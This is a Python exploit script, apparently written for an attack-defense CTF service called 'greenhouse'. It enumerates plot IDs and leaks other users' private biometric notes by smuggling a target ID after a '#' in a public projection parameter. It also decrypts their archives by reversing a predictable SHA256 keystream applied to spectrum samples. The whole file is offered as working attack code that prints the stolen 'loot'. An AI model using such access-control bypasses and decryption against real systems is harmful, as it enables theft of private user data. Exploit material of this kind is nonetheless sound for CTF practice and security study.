Files
2026-10-29 10:55:49 +03:00

128 lines
4.6 KiB
Python

#!/usr/bin/env python3
"""Задание Neo для greenhouse: вытягивает note и archive чужих участков без их ключа."""
from __future__ import annotations
import hashlib
import json
import sys
from urllib.error import HTTPError, URLError
from urllib.parse import quote, urlsplit, urlunsplit
from urllib.request import Request, urlopen
TARGET_SCHEME = "http"
SERVICE_PORT = 8080
REQUEST_TIMEOUT = 8
USER_AGENT = "orbita-orangery/1.0"
ANCHOR_ID = "public"
ANCHOR_KEY = "visitor"
def base(target: str) -> str:
raw_target = target.strip()
if not raw_target:
raise ValueError("пустой адрес цели")
if "://" in raw_target:
raw_url = raw_target
else:
authority = raw_target
if authority.count(":") > 1 and not authority.startswith("["):
authority = f"[{authority}]"
raw_url = f"{TARGET_SCHEME}://{authority}"
parsed = urlsplit(raw_url)
if parsed.scheme not in {"http", "https"} or not parsed.hostname:
raise ValueError("ожидается адрес HTTP-сервиса")
if parsed.username or parsed.password or parsed.path not in {"", "/"}:
raise ValueError("укажите только адрес цели без учетных данных и пути")
if parsed.query or parsed.fragment:
raise ValueError("адрес цели не должен содержать query или fragment")
port = parsed.port
if port is None:
if "://" in raw_target:
port = 443 if parsed.scheme == "https" else 80
else:
port = SERVICE_PORT
if not 1 <= port <= 65535:
raise ValueError("порт должен быть от 1 до 65535")
hostname = parsed.hostname
host = f"[{hostname}]" if ":" in hostname else hostname
return urlunsplit((parsed.scheme, f"{host}:{port}", "", "", ""))
def fetch(url: str) -> dict:
request = Request(url, headers={"User-Agent": USER_AGENT, "Accept": "application/json"})
with urlopen(request, timeout=REQUEST_TIMEOUT) as response:
return json.loads(response.read(1 << 20).decode("utf-8", errors="replace"))
def keystream(plot_id: str, size: int) -> list[int]:
out: list[int] = []
counter = 0
while len(out) < size:
out.extend(hashlib.sha256(f"orbita-spectrum:{plot_id}:{counter}".encode()).digest())
counter += 1
return out[:size]
def recover_archive(plot_id: str, samples: list[int]) -> str:
salt = keystream(plot_id, len(samples))
previous = 0
raw = bytearray()
for value, offset in zip(samples, salt):
if not isinstance(value, int) or not 0 <= value < 257:
raise ValueError("неожиданный сэмпл спектра")
raw.append((value - previous - offset) % 257)
previous = value
return raw.decode("utf-8", errors="replace")
def run_exploit(target: str) -> list[str]:
root = base(target)
loot: list[str] = []
listing = fetch(f"{root}/api/plots")
plots = listing.get("plots", []) if isinstance(listing, dict) else []
ids = [str(p.get("id")) for p in plots if isinstance(p, dict) and p.get("id") is not None]
for plot_id in ids:
if plot_id == ANCHOR_ID:
continue
target_param = quote(f"{ANCHOR_ID}#{plot_id}", safe="")
try:
data = fetch(f"{root}/api/projection?target={target_param}&key={ANCHOR_KEY}")
note = data.get("projection", {}).get("biometric_note")
if isinstance(note, str) and note:
loot.append(note)
except (HTTPError, URLError, TimeoutError, ValueError, OSError) as exc:
print(f"projection {plot_id}: {exc}", file=sys.stderr)
try:
data = fetch(f"{root}/api/spectrum?plot={quote(plot_id, safe='')}")
samples = data.get("samples")
if isinstance(samples, list) and samples:
loot.append(recover_archive(plot_id, samples))
except (HTTPError, URLError, TimeoutError, ValueError, OSError) as exc:
print(f"spectrum {plot_id}: {exc}", file=sys.stderr)
return loot
def main() -> int:
if len(sys.argv) != 2:
print(f"Использование: {sys.argv[0]} HOST", file=sys.stderr)
return 2
try:
loot = run_exploit(sys.argv[1])
except (HTTPError, URLError, TimeoutError, ValueError, OSError) as exc:
print(f"Ошибка запроса к цели: {exc}", file=sys.stderr)
return 1
for item in loot:
print(item, flush=True)
print(f"собрано строк: {len(loot)}", file=sys.stderr)
return 0
if __name__ == "__main__":
raise SystemExit(main())